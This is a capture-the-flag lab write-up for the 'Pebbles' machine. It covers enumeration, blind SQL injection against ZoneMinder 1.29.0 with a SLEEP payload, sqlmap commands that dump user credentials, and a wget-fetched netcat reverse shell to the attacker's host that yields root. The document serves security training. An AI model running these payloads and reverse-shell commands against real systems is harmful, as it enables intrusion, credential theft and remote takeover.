> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/warm-up/pebbles.md).

# Pebbles

## Information Gathering

### Service Enumeration

`nmapAutomator.sh -H 192.168.85.52 -t full`

`nmapAutomator.sh -H 192.168.85.52 -t vulns`

![](/files/-MadDepA_067DRLj3O6E)

### HTTP

Port 80

![](/files/-MadDi8O5CW73VW33Z75)

`gobuster dir -u http://192.168.85.52 -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50`

![](/files/-MadDlJry0AuJLs3A0WS)

Using a larger wordlist:

`gobuster dir -u http://192.168.85.52 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -x .txt,.php --threads 100`

![](/files/-MadDpicgMBqpOdFlXJs)

We have a ZoneMinder console (v1.29.0).

![](/files/-MadDtxJOCSonpaLvfch)

Port 8080 contains another HTTP service.

`gobuster dir -u http://192.168.85.52:8080 -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50`

![](/files/-MadE-GD9B8xvNqOwqvh)

There is a `hello.php`.

![](/files/-MadE1x9nNhNTR5nMNzJ)

## Exploitation

From the ZoneMinder version (v1.29.0) above, we find that it is vulnerable to SQL injection.

<https://www.exploit-db.com/exploits/41239>

It appears that the `limit` parameter is vulnerable to stacked queries. Using the following POST payload:

`view=request&request=log&task=query&limit=100;SELECT SLEEP(5)#&minTime=5`

We can make the server sleep for 5 seconds.

![](/files/-MadE5EP9YhCP2MKcU9M)

This is a blind SQL injection (True = sleep, False = no sleep).

We can automate the blind SQL injection using `sqlmap`.

`sqlmap http://192.168.133.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" -D zm --tables --threads 5`

![](/files/-MadEB1vNACiOrPuXUwY)

`sqlmap http://192.168.133.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" -D zm -T Users -C Username,Password --dump --threads 5`

![](/files/-MadEDlGYS35JFrk381l)

We can achieve RCE using the `--os-shell` option.

`sqlmap http://192.168.133.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" --os-shell`

![](/files/-MadEHGWyq-pqCjDgtTc)

```
wget "http://192.168.49.133/nc" -O /tmp/nc
chmod +x /tmp/nc
/tmp/nc -e /bin/bash 192.168.49.133 3305
```

**Two things were important here: the port 3305, and the location of the nc binary.**

On our listening machine, we get a root shell.

![](/files/-MadEaAAa8zt1Tp5c-sX)

Upgrade to an interactive shell: `python -c 'import pty;pty.spawn("/bin/bash")'`

Proof:

![](/files/-MadEeMEQ-3LZ6mjnskd)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://pentesting.zeyu2001.com/proving-grounds/warm-up/pebbles.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.